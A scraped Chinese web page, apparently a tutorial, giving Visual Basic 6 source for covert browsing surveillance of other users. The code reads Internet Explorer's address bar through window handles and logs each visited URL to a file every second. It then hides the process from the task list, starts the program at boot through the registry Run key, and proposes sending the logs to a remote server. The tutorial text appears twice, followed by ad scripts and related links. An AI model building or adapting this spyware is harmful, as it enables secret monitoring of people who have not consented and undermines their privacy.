一个用VB编写的监控别人上网的软件例子
来源:互联网 发布:js object to json 编辑:程序博客网 时间:2024/06/06 01:12
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
本程序的核心是通过API函数获得窗口句柄并获得浏览器访问的网址,在此基础上可以实现用Winsock控件进行远程的监视和管理。
1.先创建一个工程并在窗口Form1中,并声明下面的四个API函数和两个常量:
Option Explicit Private Declare Function FindWindow Lib ″user32″ Alias ″FindWindowA″ (ByVal lpCl assName As String, ByVal lpWindowName As String) As Long
′Findwindow函数的功能是找到当前运行的IE窗口的url地址的句柄
Private Declare Function SendMessage Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
′SendMessage函数的功能是向操作系统发送一条消息
Private Declare Function FindWindowEx Lib ″user32″ Alias ″FindWindowExA″ (ByVal hWnd1 As Long,ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
′FindwindowEx函数的功能是找到子窗体的句柄
Private Declare Function SendMessageByString Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Private Const WM_GETTEXT = &HD
Private Const WM_GETTEXTLENGTH = &HE
2.在窗体上添加Command控件,并命名为GetURLstring,单击此命令按钮,并为其添加下面的程序代码:
Private Sub GetURLstring_Click()
On Error GoTo CallErrorA
Dim sClassName As String ′设定一个字符串变量,是类变量
Dim lhwnd As Long ′设定一个长整形变量用来接收函数返回值
Dim WindowHandle As Long ′设定一个长整形变量用来接收函数的返回句柄
lhwnd = 0
sClassName = (″IEFrame″)
lhwnd = FindWindowEx(lhwnd, 0, sClassName, VBNullString) ′获得URL地址栏的句柄,获得IE窗口的句柄
sClassName = (″WorkerA″)
lhwnd = FindWindowEx(lhwnd, 0, sClassName, VBNullString) ′获得IE窗口的工作区的句柄
sClassName = (″ReBarWindow32″)
lhwnd = FindWindowEx(lhwnd, 0, sClassName, VBNullString) ′获得IE窗口的菜单栏的句柄
sClassName = (″ComboBoxEx32″)
lhwnd = FindWindowEx(lhwnd, 0, sClassName, VBNullString) ′获得IE窗口的下拉菜单的句柄
sClassName = (″ComboBox″)
lhwnd = FindWindowEx(lhwnd, 0, sClassName, VBNullString) ′获得IE窗口的下拉菜单当前项的句柄
sClassName = (″Edit″)
lhwnd = FindWindowEx(lhwnd, 0, sClassName, VBNullString) ′获得这个下拉菜单的编辑框句柄
WindowHandle = lhwnd ′接收当前我们想要的句柄
Dim buffer As String ′设定字符串变量接收当前的字符串
Dim TextLength As Long ′设定长整形变量接收字符串的长度
TextLength = SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0&, 0&) ′向系统发送获得IE窗口的地址栏中的字符串长度命令
buffer = String(TextLength, 0) ′
Call SendMessageByString(WindowHandle, WM_GETTEXT, TextLength + 1, buffer) ′向系统发送获得IE窗体地址栏中的字符串命令
If buffer = ″″ Then
MsgBox ″MicroSoft InternetExplorer浏览器没有运行.″, VBOKOnly
Else
MsgBox buffer ′IE运行时显示当前网址
End If
Exit Sub
CallErrorA:
MsgBox Err.Description
Err.Clear
End Sub
二、添加定时保存功能
我们对上面的程序稍作改动,即可实现定时把当前访问的网址保存到文件,这样就为我们进行网络监控提供了保证。
1.在窗体上添加Timer控件Timer1,并将其属性Interval设置为1000,双击此控件,定义代码如下:
Private Sub Timer1_Timer()
GetURLstring_Click
End Sub
2. 在窗体代码开始的声明部分定义变量curUrl
Dim curUrl As String
3.用文件操作函数把Buffer变量中的字符串写进磁盘文件中,添加代码如下
Private Sub Form_Load()
Open App.Path & ″TestFile.txt″ For Output Access Write As #1 ′打开一个文件End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Close #1 ′关闭开始打开的文件
End Sub
并把GetURLstring_Click()中的如下部分
If buffer = ″″ Then
MsgBox ″MicroSoft InternetExplorer浏览器没有运行.″, VBOKOnly
Else
MsgBox buffer ′IE运行时显示当前网址
End If
改为如下代码:
If buffer <> ″″ And buffer <> curUrl Then
Write #1, Now & VBTab & buffer
curUrl = buffer
End If
三、隐蔽运行
为了防止运行在客户端的程序被用户发现,可以把窗体隐藏,并调用API函数让其在Ctrl+Alt+Del的程序列表中消失,需要把自己的程序注册为服务器(Service),这可以利用RegisterService API函数将程序的进程ID进行注册来实现。在程序退出时再次使用此API函数将服务器注册取消。方法如下:
1.在窗体的声明部分声明加入API函数和需要的常数:
Private Declare Function GetCurrentProcessId Lib ″kernel32″ () As Long
Private Declare Function GetCurrentProcess Lib ″kernel32″ () As Long
Private Declare Function RegisterServiceProcess Lib ″kernel32″ (ByVal dwProcessID As Long, _ ByVal dwType As Long) As Long
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0
2.注册为service和释放注册的过程:
在Form_Load事件的开始添加如下代码
Dim pid As Long
Dim reserv As Long
pid = GetCurrentProcessId() ′得到当前进程ID
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE) ′把本程序注册为service
把Form_QueryUnload事件修改为如下代码,即在程序结束时把服务器注册取消
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim pid As Long
Dim reserv As Long
Close #1
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)
End Sub
如果让程序开机运行,需要先把文件编译为可执行文件放到特定目录下,并修改注册表让其开机便运行,路径是HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersonRun,用API函数在里面写入个字符串型的键值,并把内容修改成为你的文件名(包括路径)即可,当然,更为实用的功能是把访问的网址信息定时传送到服务器,需要用到Winsock控件和定时传输。
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 160x600, 创建于 08-4-23MSDN */google_ad_slot = "4367022601";google_ad_width = 160;google_ad_height = 600;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
一、程序核心本程序的核心是通过API函数获得窗口句柄并获得浏览器访问的网址,在此基础上可以实现用Winsock控件进行远程的监视和管理。
1.先创建一个工程并在窗口Form1中,并声明下面的四个API函数和两个常量:
Option Explicit Private Declare Function FindWindow Lib ″user32″ Alias ″FindWindowA″ (ByVal lpCl assName As String, ByVal lpWindowName As String) As Long
′Findwindow函数的功能是找到当前运行的IE窗口的url地址的句柄
Private Declare Function SendMessage Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
′SendMessage函数的功能是向操作系统发送一条消息
Private Declare Function FindWindowEx Lib ″user32″ Alias ″FindWindowExA″ (ByVal hWnd1 As Long,ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
′FindwindowEx函数的功能是找到子窗体的句柄
Private Declare Function SendMessageByString Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Private Const WM_GETTEXT = &HD
Private Const WM_GETTEXTLENGTH = &HE
2.在窗体上添加Command控件,并命名为GetURLstring,单击此命令按钮,并为其添加下面的程序代码:
Private Sub GetURLstring_Click()
On Error GoTo CallErrorA
Dim sClassName As String ′设定一个字符串变量,是类变量
Dim lhwnd As Long ′设定一个长整形变量用来接收函数返回值
Dim WindowHandle As Long ′设定一个长整形变量用来接收函数的返回句柄
lhwnd = 0
sClassName = (″IEFrame″)
lhwnd = FindWindowEx(lhwnd, 0, sClassName, VBNullString) ′获得URL地址栏的句柄,获得IE窗口的句柄
sClassName = (″WorkerA″)
lhwnd = FindWindowEx(lhwnd, 0, sClassName, VBNullString) ′获得IE窗口的工作区的句柄
sClassName = (″ReBarWindow32″)
lhwnd = FindWindowEx(lhwnd, 0, sClassName, VBNullString) ′获得IE窗口的菜单栏的句柄
sClassName = (″ComboBoxEx32″)
lhwnd = FindWindowEx(lhwnd, 0, sClassName, VBNullString) ′获得IE窗口的下拉菜单的句柄
sClassName = (″ComboBox″)
lhwnd = FindWindowEx(lhwnd, 0, sClassName, VBNullString) ′获得IE窗口的下拉菜单当前项的句柄
sClassName = (″Edit″)
lhwnd = FindWindowEx(lhwnd, 0, sClassName, VBNullString) ′获得这个下拉菜单的编辑框句柄
WindowHandle = lhwnd ′接收当前我们想要的句柄
Dim buffer As String ′设定字符串变量接收当前的字符串
Dim TextLength As Long ′设定长整形变量接收字符串的长度
TextLength = SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0&, 0&) ′向系统发送获得IE窗口的地址栏中的字符串长度命令
buffer = String(TextLength, 0) ′
Call SendMessageByString(WindowHandle, WM_GETTEXT, TextLength + 1, buffer) ′向系统发送获得IE窗体地址栏中的字符串命令
If buffer = ″″ Then
MsgBox ″MicroSoft InternetExplorer浏览器没有运行.″, VBOKOnly
Else
MsgBox buffer ′IE运行时显示当前网址
End If
Exit Sub
CallErrorA:
MsgBox Err.Description
Err.Clear
End Sub
二、添加定时保存功能
我们对上面的程序稍作改动,即可实现定时把当前访问的网址保存到文件,这样就为我们进行网络监控提供了保证。
1.在窗体上添加Timer控件Timer1,并将其属性Interval设置为1000,双击此控件,定义代码如下:
Private Sub Timer1_Timer()
GetURLstring_Click
End Sub
2. 在窗体代码开始的声明部分定义变量curUrl
Dim curUrl As String
3.用文件操作函数把Buffer变量中的字符串写进磁盘文件中,添加代码如下
Private Sub Form_Load()
Open App.Path & ″TestFile.txt″ For Output Access Write As #1 ′打开一个文件End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Close #1 ′关闭开始打开的文件
End Sub
并把GetURLstring_Click()中的如下部分
If buffer = ″″ Then
MsgBox ″MicroSoft InternetExplorer浏览器没有运行.″, VBOKOnly
Else
MsgBox buffer ′IE运行时显示当前网址
End If
改为如下代码:
If buffer <> ″″ And buffer <> curUrl Then
Write #1, Now & VBTab & buffer
curUrl = buffer
End If
三、隐蔽运行
为了防止运行在客户端的程序被用户发现,可以把窗体隐藏,并调用API函数让其在Ctrl+Alt+Del的程序列表中消失,需要把自己的程序注册为服务器(Service),这可以利用RegisterService API函数将程序的进程ID进行注册来实现。在程序退出时再次使用此API函数将服务器注册取消。方法如下:
1.在窗体的声明部分声明加入API函数和需要的常数:
Private Declare Function GetCurrentProcessId Lib ″kernel32″ () As Long
Private Declare Function GetCurrentProcess Lib ″kernel32″ () As Long
Private Declare Function RegisterServiceProcess Lib ″kernel32″ (ByVal dwProcessID As Long, _ ByVal dwType As Long) As Long
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0
2.注册为service和释放注册的过程:
在Form_Load事件的开始添加如下代码
Dim pid As Long
Dim reserv As Long
pid = GetCurrentProcessId() ′得到当前进程ID
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE) ′把本程序注册为service
把Form_QueryUnload事件修改为如下代码,即在程序结束时把服务器注册取消
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim pid As Long
Dim reserv As Long
Close #1
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)
End Sub
如果让程序开机运行,需要先把文件编译为可执行文件放到特定目录下,并修改注册表让其开机便运行,路径是HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersonRun,用API函数在里面写入个字符串型的键值,并把内容修改成为你的文件名(包括路径)即可,当然,更为实用的功能是把访问的网址信息定时传送到服务器,需要用到Winsock控件和定时传输。
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 160x600, 创建于 08-4-23MSDN */google_ad_slot = "4367022601";google_ad_width = 160;google_ad_height = 600;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
- 一个用VB编写的监控别人上网的软件例子
- 一个用VB编写的监控别人上网的软件例子
- 一个用VB编写ActiveX自定义控件的例子
- 用Delphi编写的一个上网助手
- .net编写一个服务监控及管理的软件
- 编写一个服务监控及管理的软件
- MapX的一个VB例子
- 专业的上网监控软件-DCI黑匣子网络安全监控系统
- 分析一个别人的qt+opengl例子
- [VB.NET]请问我编写的VBNET程序,别人可以用某工具看到源文件怎么办?
- 用VB编写你自己的MSN即时通讯软件
- 用vb.net编写的软件有哪些?
- VB小软件编写的问题
- 一个路由器下,如何封了同一路由器下别人的MAC地址,不让别人上网
- 使用JMX监控VM的一个例子
- 多进程监控的一个例子
- 用 Python 编写一个nagios监控磁盘负载的插件
- 用 OpenCV 编写一个简单的摄像头视频监控程序
- Eric Pascarello解析Ajax安全性
- 在vb中轻松制作支持断点续传的FTP、HTTP下载软件
- 在AJAX开发中集成数据库技术
- ^^^^^^^^WIN95帮助文件制作^^^^^^^^^^
- 用VB编写键盘拦截程序
- 一个用VB编写的监控别人上网的软件例子
- 使用JSON加速AJAX
- WINDOWS未开函数揭密(1)
- Ajax Hack 之hack 13 在text或textarea里显示服务器信息
- Windows未公开函数揭密(3)
- Ajax Hack 之hack 12不刷新浏览器的情况下向服务器提交text或textarea的值
- 在VB6中用WINDOWS API函数读写INI文件
- Ajax Hack 之hack 11 动态产生样式
- 使用VB开发Windows环境下的串行通信程序